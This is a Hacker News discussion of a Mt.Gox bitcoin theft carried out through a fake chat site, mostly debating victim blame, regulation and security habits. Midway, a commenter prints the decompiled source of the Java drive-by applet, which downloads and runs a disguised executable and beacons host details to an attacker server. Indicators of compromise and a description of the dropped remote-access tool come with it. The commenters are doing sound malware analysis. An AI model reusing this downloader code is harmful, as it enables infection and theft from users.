How I got robbed of 34 btc on Mt.Gox today
bitcointalk.orgIsn't this exactly what Bitcoin was created for - to allow unregulated access to currency? I guess people don't really realize what unregulated actually means - and nor do they realize why you really do want regulated currency.
This kind of thing happens all the time with real banks, but with real banks, all transactions can be traced and reversed. Law enforcement can follow the required documentation to find the owner of any account on a global level. This is exactly what Bitcoin was created to avoid.
Well guess what? When you avoid the regulation, you take the safety of the currency into your own hands. MtGox should not refund this in any way shape or form. The problem was entirely his fault. He did not secure his MtGox account with available two-factor authentication. He ran untrusted code at full permission on his PC. He needs to take some responsibility for his own use of an unsecured currency on an unsecured website with unsecured authentication and running untrusted code.
Zero sympathy from me. Maybe it will be a wake up call to others to actually think about their decisions. Shouting about the 'nanny state' and using bitcoin, and then turning around and looking for a nanny to help him out when he goes around it is pathetic.
BitCoin, the Internet's answer to "Capture the Flag" now with scoring in dollars.
You mean... scoring in Bitcoins :-p
Can't we just keep everything unregulated until it's inconvenient for me that it's unregulated?
Are you joking or being a nimby type fool?
Fair point, most of the mistakes were on the author's part. MtGox isn't completely blameless, they had a cross-site scripting vulnerability, and they should probably enforce some stronger security around logins from new computers. Something like Steam's approach where every login from a new computer needs to be verified with a confirmation code.
There is no evidence of any cross-site scripting vulnerability - it's a standard case of 'user executes malicious code with full user rights'. If anybody is to blame for that, it's Oracle for letting users shoot themselves in the foot with an 'OK' dialog that all Windows users just click OK on anyway.
MtGox could help prevent this with something like Steam's approach, but once the user has run malicious code there is not much stopping that code from also compromising his email account. Two factor authentication would help here, and MtGox does appear to offer this - the complainer just didn't use it.
This is exactly right. Bitcoins are not a good idea for casual investors who can't/won't manage their own security, or can't bear the loss in case of a breach. If you want an unregulated, untraceable currency, that's the price you pay.
We don't need sympathy or regulation. A simple market solution like voluntary bitcoin insurance would do the trick.
Insurance companies are not dumb enough to enter a market where fraud is rampant and they have no legal leverage against bad actors.
How do you propose to defend against insurance fraud? With mixing services available, there would seem to be very little risk in robbing one's own account.
You make the insurance price and due diligence bar high enough.
Agreed, zero sympathy. Simply you cannot have the best of both worlds.
You don't really need the insurance of the bank and paper trails if you play it smart.
Yay! More regulation for you, and you, and you. It's like Oprah giving away Pontiac Azkeks. Yea, he f'd up, but let's not FINCEN our way to utopia.
Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police".
They should compensate me 100%.
This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated.
While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will.
While I have sympathy for the author it was a pretty silly thing to do.
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will.
Agreed, the banks aren't doing it from the goodness of their heart.
While I have sympathy for the author it was a pretty silly thing to do.
And in the real world, if you gave someone your card and PIN, the bank would be unlikely to compensate you.
I think that this example is more similar to falling victim to card skimming, though.
Whilst one should always check the ATM for suspicious devices, and never let the card leave one's sight, it doesn't mean that it's not easy to fall prey to such fraud all the same.
"Federal Reserve Regulation E guarantees that US consumers are made whole when their bank passwords are stolen"
From http://research.microsoft.com/apps/pubs/default.aspx?id=1618...
Of course, as that paper points out, the traditional electronic money system is incredibly reversible. If someone transfers $50,000 from my personal bank account to someone else's bank account, it's pretty easy for it to be undone.
The bottleneck is the money mules who are hired (read: suckered) into engaging in irreversible transactions.
> If someone transfers $50,000 from my personal bank account to someone else's bank account, it's pretty easy for it to be undone.
That depends on the timeframe. Once the money has been moved out of that new account again things start getting much harder.
Not really. If a Bank gets a reversal before funds have cleared its pretty straightforward and the stack will almost unwind itself as each Bank reverses credits to the accounts in response to reversals before them. Depending on type of transfer yes there is a date beyond which reversals are not possible but the number of transfers has little to do with it.
Thieves want to work to empty that new account as fast as possible. And they still can't without suckers who volunteer to run a "check-cashing business" or similar scam.
Because banks are held responsible for fraud (from consumer accounts), they work hard to never be the ones holding the bag, so they put up roadblocks in attempts to engage in irreversible transactions. If you say "hey, I opened my account yesterday, now I want to withdraw the $40,000 that just showed up in it, 10's and 20's please" they will nod politely and call a bank manager.
No, banks will compensate you if they feel that the reputational damage of not doing so is worse than than the financial damage of doing so.
I felt sorry for the guy up to this point. You have the notoriously insecure Java plugin enabled in the same browser you use to access your digital cash, and you click on random links in a chat full of people with accounts on the same digital cash site? No, that's your fault, not Mtgox's.
He goes on to say, "First because their site is not secured against such rudimentary attacks as has been demonstrated today." I can't fathom how they're supposed to protect from users' computers being taken over. The only real way to do that is to have two-factor authentication... which they offer, and this guy did not use.
It sucks to get robbed, certainly. But blaming Mtgox for this is uncalled-for.
Does Mt Gox require you to enable client-side Java?
I don't like running Java on my computers even if they don't have access to $10,000 worth of bitcoins.
No.
In fact, I use a curses based program alongside the Mt.Gox API.
I had to log in at one point, obviously, but I can handle it all using the API now.
For those interested : https://github.com/prof7bit/goxtool
An example of the normal attitude regarding such "incidents": http://mpex.co/faq_r.html#23 and also 24. I tend to agree. The less mainstream adoption there is, the less support tickets you'll have to answer.
but bitcoins are like a digital cash - people don't expect to be compensated when their cash get burgled (at least, not by a bank).
In this analogy, his cash was held by the bank. He can say someone impersonated him to send it. But unfortunately he did not take advantage of two factor authentication and he got phished.
Actually from reading more, i don't understand if MtGox is involved at all. Did the executable just steal the wallet.dat file from his hard drive and have nothing to do with MtGox?
Yeah - I'm unclear what's happening here as well. Did his bitcoins get stolen from wallet.dat, or did they get stolen from MtGox?
Did you read the FA? It was clearly stated that 1. the transaction took place in MtGox, and 2. the rest of his bitcoins were safely encrypted in his hard disk.
Right - I read that part. But then, I read the exploit, which is the running of a .exe on his local system, and not a javascript XSS attack. It's very confusing.
Perhaps the .exe logged into his MtGox account through the browser? If so - I don't understand why he would think MtGox is culpable in any way, particularly if he was running java in the browser, clicked YES to all the warnings that said horrible things were going to happen to him, AND wasn't running two-factor auth on his account.
He went out of his way to let the hacker exploit his system. I would hope that anyone as "technically savvy" as him would have known these were all really, really bad things to do.
If there is any consolation, it's that the 34 bitcoins are likely going to be worth less than a $1000 by the end of today.
Some basic analysis of the binary:
Creates the following directories:
%UserProfile%\537214
%UserProfile%\684544
%AppData%\dclogs
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
537214 = "%UserProfile%\537214\svhost.exe"
tamere123.no-ip.org on ports 80 and 1604
198.203.29.120
Los Angeles
California
ISP: Hugeserver Networks Llc
File hashes:
MD5: 0x81F8E4C33ADECE6BF89EF171D9930282
SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7https://news.ycombinator.com/item?id=5531500
It's a service by script kiddies for script kiddies.
So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox?
I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.
That is true.
1) You really shouldn't be running java applets unless you are certain you want to. I have had Java disabled for about a year and have only seen a page that required it once.
2) The domain name should've been a dead giveaway
3) Why would MtGox refund it? You got your money stolen by someone else. It's not MtGox's fault at all.
One would expect a certain level of security measures for a site that directly influences your financial situation. Most CRUD applications require you to put in your old password when changing your new one. Apparently you can actually trade coins away from your account without typing your password on MtGox. That's just ridiculously unsecured.
I don't think that'd solve the problem though. His password was stolen. So the hacker had the password and entering it twice would be the same barrier as entering it once.
No.
> I would be surprised if MtGox decides to refund you
I agree that MtGox shouldn't be doing any kind of refunding in this case.
> what happened is your own fault entirely
You're blaming the victim.
If I'm walking down a dark alley and someone pulls a gun on me and takes my wallet, is it my fault because I decided to walk down a dark alley? Not at all.
The only person at fault here is the cracker who perpetrated the scam.
The only thing you can say about the victim in this case is that they aren't very sensible. Just like walking down dark alleys might not be sensible. But it's not the OP's fault that someone stole something from him.
Perhaps a better phrasing that "your own fault" is "it was 100% in his power to prevent this from happening. He is responsible for the fact that it happened."+-------------------------------------------------------+ | SECURITY WARNING! | | You are attempting to walk down a dark alley, | | which could be dangerous. Only walk down | | dark alleys you are familiar with and trust. | | By walking down this alley you assume responsibility | | for the attendant risks. | | | | Do you still wish to walk down the dark alley? | | [x] Yes [ ] Cancel | +-------------------------------------------------------+Fault and blame is not zero-sum, a point many people seem to miss. Realizing that the victim has some (and he certainly does here, and in many other cases) does not in any way reduce what attaches to the perpetrator.
I think it's more like leaving your wallet and laptop on the table at a cafe while you go to the bathroom, then getting upset that they're gone when you get back. In that case, yeah, it's absolutely your fault.
Put it another way, if you lent your laptop to a friend, and they left it on the table like that and it was stolen, would you really find your friend blameless? Would you lend them a laptop again?
> In that case, yeah, it's absolutely your fault.
No. It's not. It's the fault of the thief.
> Put it another way, if you lent your laptop to a friend, and they left it on the table like that and it was stolen, would you really find your friend blameless? Would you lend them a laptop again?
I wouldn't lend it to them again because they are careless and didn't take sensible precautions. I wouldn't find them at fault for the theft.
Maybe we disagree on what "fault" means; I think (and I'm pretty sure this is common usage) that if a person takes an action and a predictable bad outcome ensues, that person's at fault. It doesn't make him or her a bad person.
One last example: if you leave the laptop on an open windowsill and it falls out and breaks, is it now gravity's fault? If I throw it up in the air and fail to catch it, am I at fault, or is gravity? If I throw it and want the laptop to break so I don't catch it? Does it really depend on whether I want the laptop to break or not? What if I'm unsure of my motivations?
edit: I hope it's obvious, but multiple people can be "at fault" and the person who stole the bitcoins is more "at fault" than the victim here.
> edit: I hope it's obvious, but multiple people can be "at fault" and the person who stole the bitcoins is more "at fault" than the victim here.
Of course. The initial point I was trying to rebuke was
> what happened is your own fault entirely
Which isn't just a slip of the tongue. It's an explicit declaration that the blame is 100% on the victim.
>> what happened is your own fault entirely >Which isn't just a slip of the tongue. It's an explicit declaration that the blame is 100% on the victim.
Not my quote, and not even implicit in anything I've said here.
Will you demand compensation from your local authorities because they did not prevent you walking into a dark alley?
I'll re-quote the first sentence of my post:
> I agree that MtGox shouldn't be doing any kind of refunding in this case.
You didn't respond to my central point: blaming the victim.
I want to discuss this in more detail as I see this argument come up now and then.
I think we first have to discuss the word blame. What do you actually mean by "blame"?
Merriam-Webster: >1 to find fault with : censure <the right to praise or blame a literary work> >2 a : to hold responsible <they blame me for everything> > b : to place responsibility for <blames it on me>
Do you agree with this?
For the sake of the argument I will assume yes. According to this definition did dreen blame the victim? Yes. dreen claims that the victim acted wrong: Victim should not have ran the applet. Using my powers of intuition [i.e. shout if I am wrong] I assert that dreen considers the victim responsible for securing his bitcoins. A responsibility the victim failed. Hence blame.
Now using further powers of intuition, I believe that you, burntsushi, think that blaming the victim is inherently wrong. Interpreted strictly that means that the behaviour of a victim is always flawless, and and a victim always lacks responsibility for bad outcomes. This is in my mind a quite ridiculous view, so I don't think this is what you mean. So what DO you mean? I will consider two possible guesses and discuss them.
>The thief acted wrong. Stealing the coins was immoral. -I think we can all agree with this statement. Hence no need to state "you are blaming the victim" so insistently. >But then you shouldn't say "your own fault entirely" -Maybe you are right. Could be argued that everyone gets this anyway. Unsure.
>We should pity, not scorn the victim I probably, maybe agree with this. Clearly the victim is in crappy situation and has my sympathies. On the other hand, scorn discourages others from following his example, which could be useful.
> Stealing the coins was immoral. -I think we can all agree with this statement.
Yes. This is my main point. It's easy to agree with in hindsight. I was insistent because it seemed like the parent completely forgot that there were more than two parties involved in this affair: the OP, MtGox and the phisher.
There is a certain attitude among folks that some people who don't properly secure themselves somehow "deserve" what they get. I vehemently disagree with this sentiment, and it is in essence what I was trying to combat.
> We should pity, not scorn the victim I probably, maybe agree with this.
I am all for calling out the victim's poor security practices as stupid, senseless, etc. But it's another thing entirely to blame the victim for someone stealing from them.
Blaming the victim wasn't my central point, asking for compensation was. Obviously the real, criminal sort of responsibility is on the criminals who perpetrated this, and I very much pity him, just as much as I pity anyone who got mugged.
But I still think the victim here shares in the responsibility, because he wasn't careful enough. We're not living in a careless world and we never will.
>You didn't respond to my central point: blaming the victim.
Your central point is without merit. The "victim" is a victim, not of MtGox, but their own poor decisions.
> Your central point is without merit. The "victim" is a victim, not of MtGox, but their own poor decisions.
Their decisions may have made themselves vulnerable to the attack, but (based on the information provided) they are a victim of a third-party that is neither the MtGox nor themselves -- that is, the people that actually used the malware to steal the BTC.
I'm not talking about MtGox. The aggressor in this case is the phisher, and the victim is the OP.
TLDR; OP runs java applet (either in browser or downloaded it). Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.
Yeah, this has fuck-all to do with bitcoins. Same thing could have happened with real money through paypal or a bank's website, except those are probably a few steps ahead of babby's first online banking website in terms of migitating against likely attack vectors.
So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface.
You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS.
That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash.
Question, I'm making a rough guess that a realistic speed-optimized fast boot-time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there?
And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.
Bitcoin: a currency for regular, everyday exchange.> So, how about if you could have a Linux boot image onna stick, properly > secured, no Java, several BitCoin apps preinstalled and optimized to boot > extremely quickly into what would basically be a sort of BitCoin Wallet > dashboard interface. You could plug in the USB, hibernate, flip the switch > and be Bitcoin banking within seconds. Then unhibernate and get on with > whatever you were doing on your day-to-day OS. > > That way it can be completely separate from whatever risky, dangerous and/or > irresponsible things you do on a regular basis with your computer--things > that seemingly are worth the risk as long as they don't directly give > attackers access to thousands of $$$ digital cash.I think it's clear to everyone that current desktop systems (Windows, but also Linux and MacOS) are not up to the task of securing thousands of dollars of transferable digital currency. Bitcoin depends on you running a secure computing environment. This could be an opportunity for emerging platforms like http://qubes-os.org/.
> Bitcoin: a currency for regular, everyday exchange.
Heh. But now I wonder how our banks do it.
Over here, and this is different than the credit cards you use in the US, you can log on to your bank account, and transfer money to anyone (within the EU, afaik) with no transaction costs (at least within the country, afaik). The same mechanism goes for online shopping. It's safe because it uses 2-factor authentication (you log on with a password, but need to get an SMS text with a special code to make transactions) and somehow people manage to not fuck this up and get hacked out of $8000--oh I'm sure it happened, but nobody's dumb enough to blame the currency/exchange system, there.
The biggest issue I see would be updating the block chain for the wallet between uses. Seems like it takes longer and longer to update. Moved my wallet to a new computer last night and it's been going for the last 5 hours.
A workaround: the device you connect to has a bitcoin client running just to keep the block chain up to date. The USB key, upon connecting, syncs that block chain with the one stored on the key. When you connect to a new device, the block chain from the key is synced onto that new device. Depending on how often you switch device / how often you use the key, this might or might not be a useful workaround :P.
Even synching the block chain that is a few hours old is irritating, days or weeks old would be a nightmare.
If you download the blockchain from the P2P wallet client it always takes forever. You should download the blockchain once, put it on a USB drive, and then copy it into .bitcoin before you bootstrap a new machine with a wallet.
There are also sites that offer downloads of tar'd versions of the blockchain, or torrents. Pretty much anything is going to be faster than downloading via a bitcoin client.
This thread appears to have a download/torrent for a recent version of the blockchain data. It's about 4.7GB, apparently.
https://bitcointalk.org/index.php?topic=145386.0
So does that mean if you're not using BC via a wallet service, it requires at least 4.7GB of disk space in order to do its thing? How is this amount of data expected to grow in the future?
It's going to grow hugely (at least as long as punters keep using bitcoin); there's an expectation that clients will switch away from using the full history sooner or later, and there are mechanisms prepared for remaining reasonably secure with shorter histories.
Hah, so eventually only a few people like central power figures in the bitcoin community will be running with the full blockchain eh? Probably my favorite thing about bitcoin is how, despite its explicit goals, the more adoption it sees the more it looks like it will turn into the same old thing we already have.
I remember a friend making a similar comment about EVE online: you set people loose in this anarchistic, libertarian blank state, give them a few years, and... turns out they'll band together into gangs with leaders, that develop into communities with formal governance processes; neighbours helping each other out grows into insurance syndicates....
We've already seen people wanting an authority to compensate them when their bitcoins are stolen; bitcoins are meant to behave like cash, but an FDICed bank account is much more useful than cash for most people. That said, as long as the full feed remains open to anyone who has the spare compute power/disk space and wants to connect up to it, there's still a big difference from the existing financial system.
That's not even a large portion of the blockchain anymore. The full thing is 7GB now, and most of the large transactions are in the very recent bit.
Nothing possibly could go wrong downloading the blockchain from a torrent site....
This is basically true, actually. It'll either work or it won't, and you're just out of the bandwidth if it fails verification. At the absolute worst, you won't be able to accept any blocks from the network as a whole if it's fake, because the hashes won't line up. IIRC the official client (and most others) also include a hard-coded hash part way through the chain to help ensure you're on the correct one up to that point.
That's of course assuming there isn't some exploit in your client, due to e.g. unsafe reading of the file that could allow it to execute arbitrary code hidden in the blockchain file.
According to the thread I linked above, the software verifies the data during import.
Blockchain.info wallets are pretty nice, they do client-side encryption with separate log-in and spending passwords (so your private key is encrypted inside an encrypted .json file and the first password decrypts only the outer layer).
You also get email (or dropbox or file download) backups that you can use in other Bitcoin clients in case something bad happens to blockchain.info.
"Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there?"
It is possible, I've done it. If you're on a multi-boot system with Linux and Windows, you can freely hibernate either and boot into the other, as long as they completely don't touch each other. Neither can even mount the disk images of the other, let alone start changing things, or you face effectively-guaranteed corruption. Be careful with shared SD cards too. (I had it so Linux would never auto-mount those anyhow, so it was OK.)
The biggest objection I'd have to your plan is mostly that you'd also need some sort of backup plan, I don't think USB sticks are generally designed to store thousands of dollars' worth of stuff on them.
That's really cool. Any particular software or packages you used to achieve this?
Also, while it may be a bit of a detour for your data, using DropBox you can at least work on the same files without too much hassle--although... you're going to get the "conflicted copy" stuff if you don't wait until everything is synced up. And if you have to wait, that defeats the purpose of having a seconds-quick OS-switch hibernating trick. How about if they share a local network drive?
> The biggest objection I'd have to your plan is mostly that you'd also need some sort of backup plan, I don't think USB sticks are generally designed to store thousands of dollars' worth of stuff on them.
Good point. How big is the "valuable" part of BCs data? As long as you don't need to work with it, you can store it anywhere, encrypted.
ASUS EEE PC had a 5 second Fedora boot in 2008. This was with an SSD; into a graphical desktop with disk and cpu idle; network manager was ready but the network wasn't up.
(https://lwn.net/Articles/299483/)
As for looks - desktop wallpaper with instructions and big red borders.
I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.
Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...
Agree. When a transaction is not authorised by the account holder, this transaction is legally invalid. Any bank would give the money back in this kind of situation.
I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".
If they felt they were in the wrong, and if they provided the appropriate security measures. Does Mt. Gox even have two-factor authentication or transaction signing or anything like that?
Not really. Most banks I've asked would not refund if the victim did not take proper security measures, and the OP in this case most certainly did not.
Banks are required to make users whole, even if the user's password is compromised. At least for individual accounts. (For businesses the situation is different.)
http://research.microsoft.com/apps/pubs/default.aspx?id=1618...
It depends very much on local laws in your country, from what I've seen.
Or the bank could insure this type of stuff just like you're not on the hook when someone steals your credit card. (It's not an exactly analogous situation, but there's nothing preventing banks from handling this based on reputation.) We don't need to instantly assume this requires the government to intervene.
> but unless this type of smash-and-grab situation can be traced/avoided/insured
Why can't it be insured? Mt. gox or any other exchange could easily charge a premium for ensuring your bitcoins. If people wanted traceable currency they'd use a traceable currency.
>but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it
The solution is probably some kind of secure hardware device/ecosystem run by a third party that the user trusts. The third party can then take legal responsibility for breaches of the hardware using existing market mechanisms.
Running bitcoin on general purpose hardware and software is a security nightmare for anyone who isn't a paranoid geek.
But this isn't a bug, it's a feature. Instant, uncancellable transactions. The problem is just that the feature is nowhere near ready for public use because there hasn't been time for an ecosystem of secure, easy-to-use transaction methods to evolve on top of it.
Cash is vulnerable to actual smash-and-grab attacks, wherein physical items are properly smashed and grabbed. People still use it extensively.
The problem with bitcoin isn't necessarily that it's too much like cash, but that people don't treat it enough like they would treat cash. Few people would put their cash in a robot that would hand it over blindly to anyone with the right password, but that's effectively what they're doing by holding bitcoins on an exchange like Mt.Gox.
The key problem with the "cash is also vulnerable to smash and grab" argument is that you can be in Romania and grab someone's bitcoins in Illinois, whereas with cash, you actually have to be physically present, which is easier to notice, easier to track afterwards, easier to verify, and harder to escape from.
Also, bank vaults are guarded, you can't shoot a bot and you can't dye-pack bitcoins.
Yes, there are differences, but my point is that people treat bitcoins the way they'd never treat cash. Holding bitcoins in Mt.Gox without two-factor authentication is like having a safe outside in front of your house labeled "CASH" with nothing but a combination lock on it.
From the source of mtgox-chat.info:
<applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>
import java.applet.Applet;
import java.applet.AppletContext;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class wDbIDcgeH extends Applet
{
static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";
public static void logme(String paramString)
{
String str1 = lik.replace("?", "");
String str2 = "PoutineCoutu";
try {
String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
localURL.openStream();
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
}
public void start()
{
String str1 = "no";
String str2 = System.getenv("APPDATA");
String str3 = System.getProperty("java.io.tmpdir");
String str4 = "http://g2f.nl/0lczsoo";
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
String str8 = "CodedByOrpheu";
String str9 = str5.concat(str6.replace("##", ".ex"));
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
} catch (IOException localIOException1) {
if (str1 != "yes") logme("Noa");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str9);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
if (str1 != "yes") logme("Noc");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str9);
logme("Yes");
} catch (IOException localIOException5) {
logme("Nod");
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
}
try
{
getAppletContext().showDocument(new URL("0"), "_self");
} catch (MalformedURLException localMalformedURLException) {
System.exit(0);
localMalformedURLException.printStackTrace();
}
}
public void init() {
start();
}
}
The applet itself is pretty straightforward: it downloads the real payload, called "AdobeUpdate-Setup1.84.exe", from g2f.nl/0lczsoo and then runs it. By default, applets don't have permission to access the local filesystem or start processes, but this one has a digital signature which means the user is prompted to give it elevated permissions.
Ah, that explains why it could get away with "Runtime.getRuntime().exec(str9);".
Now, the thing is, I don't think the forum user mentioned clicking anything. However, it's possible they've stolen the signature from something else, which that person has previously chosen to "Always Accept"? (I don't know if Java lets you do that)
Since I don't have an mtgox account, and I have a fair degree of confidence that the code posted can't possibly escape the Java sandbox, I decided to live dangerously and try loading the page.
Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra".
Gotta say, I have no sympathy for someone who clicks through that warning screen and then complains that their credentials got stolen.
Usually these exploit kits will use useragent and the reported plugins to decide what versions of the page to send. If this is a pro job if you were running an exploitable version of java (which a majority of people tend to be) it would push an applet that used an exploit to load its stage 2. But if it decides it doesn't have an exploit for you it takes a different approach like scareware or prompt to run etc.
Ops :/ today I just clicked through that screen to run the bitcoin miner i downloaded from bitminter.com. Because I did not realize that, this is a warning from java, really confusing.
Well, you had downloaded an application and you were fairly sure of its purpose, I can't blame you there.
I'm pretty skeptical, so this isn't good enough for me.
I think this may have been possible due to the purported Java exploit mentioned in the post:
"I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started."
It also means that we can find out who made it by looking at the signature.
Unless there is somewhere you can buy a java signature with bitcoins.
The certificate is self-signed, which narrows it down to "somebody capable of downloading a copy of the JDK".
How did that executable transfer his bitcoins?
It didn't. "AdobeUpdate-Setup1.84.exe" is the executable that did the damage.
Yes, I understand the java applet executed the next file. How did the "AdobeUpdate-Setup1.84.exe" executable do the transfer?
If it has file access permissions it can scan for wallet.dat in a few likely locations and then simply upload that file to a server, then delete the original and you're pretty sure that you'll have time enough to register a transaction with the bitcoin network.
bitcoins were not stolen from a local wallet, rather they were withdrawn from his mtgox account to the thief's address.
Ah, yes of course a mtgox balance would be at risk as well. I'd definitely check to see if my wallet had not been ripped as well.
OK thank you. So is the wallet.dat related to MtGox at all or is it just a standard bitcoin wallet file used by the standard clients?
It's a Bitcoin concept. It's where your actual bitcoins are stored.
It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app..
It appears to download an exe from http://g2f.nl/0lczsoo/insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE*Then it tries to execute the exe:
If at any point in the process it hits an exception, it sends the code for that exception to the galaxy web address, presumably so the dev can see how the app is performing.System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.
Ooh, galaxyjdb has a register page: http://www.galaxyjdb.com/index.php?a=Register
>Paypal E-Mail:
>Hackforums Profile Link:
That means this is a service for script kiddies, they've sold this exploit as a service.
EDIT: Hackforums is basically a public internet forum where people openly discuss "hacking" and sell "hacking" tools. I've seen another example, a DDOS service, with an almost empty homepage but login and register actions.
(Why someone would be stupid enough to sell their product from the same domain it reports back to is beyond me, though. Especially since they put credits on it.)
EDIT 2: BINGO! http://www.hackforums.net/showthread.php?tid=3262851&hig... (the forum thread where the product is sold!)
Galaxy JDB is sort for "Galaxy Java Drive-By", apparently.
EDIT 3: Product image here, for people without hackforums accounts: http://i5.minus.com/iq2n2GtUjGHpW.png
Oh wow. "Noob friendly". "Free hosting". "Website Cloner". Only $40 for 6 months...
What did you redact there?
Probably author removed the feature and was lazy about the design
Yeah, it's not my redaction.
AVG detects this as Luhe.Fiha.A
Here's a mnetion from 2011:
(http://answers.microsoft.com/en-us/windows/forum/windows_7-s...)
So, someone using an OS heavily targeted by malware decides not to use anti-malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - that URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.
It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.
But come on; don't just give them your money.
EDIT: I just read the first answer to the MS post above. It's baffling.
> On reflection the best and easiest recourse might be to just tell AVG to "ignore" this "infection." Is this thing actually a virus? or an infection? I have seen no operational problems, nothing in chkdsk, sfc, Registry Mechanic, etc., to concern me.
Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.
MS is stuffed. There is nothing they can do to repair their malware reputation when the users are that stupid.
This isn't just an MS problem. Macs have the problem where users still believe their OS isn't vulnerable to malware and as such aren't careful either.
I think they are trying to call it a false positive. They happen from time to time.
I wouldn't try to convince someone else they had a false positive without positively identifying the files in question though.
The saying goes, never attribute to malice what can be explained by stupidity.
But they also say, just because you're paranoid it doesn't mean they aren't after you.
So I'd say this may very well be the authors of the malware astroturfing and trying to fool others into ignoring it
The EXE is an AutoIt3 script (they didn't even scrub the AutoIt version from the PE metadata).
You can run the AutoIt3 script through Exe2Aut (an AutoIt decompiler) and you'll find a pretty mundane remote access toolkit which inserts itself into \Run, checks to see if it's running in a variety of virtualized environments, and, if it's not, can start one of a couple different remote control payloads. It looks like it's got a rudimentary Facebook credentials theft mechanism in its first stage as well.
This is a pretty common for-sale driveby script kiddie exploit - it's depressing how effective these still are.
The exe it downloads seems to be a compiled AutoIt3 script.
Here it is cleaned up: http://pastebin.com/raw.php?i=neP9qXGM
Seems like yet another dropper, not the actual bad thing.
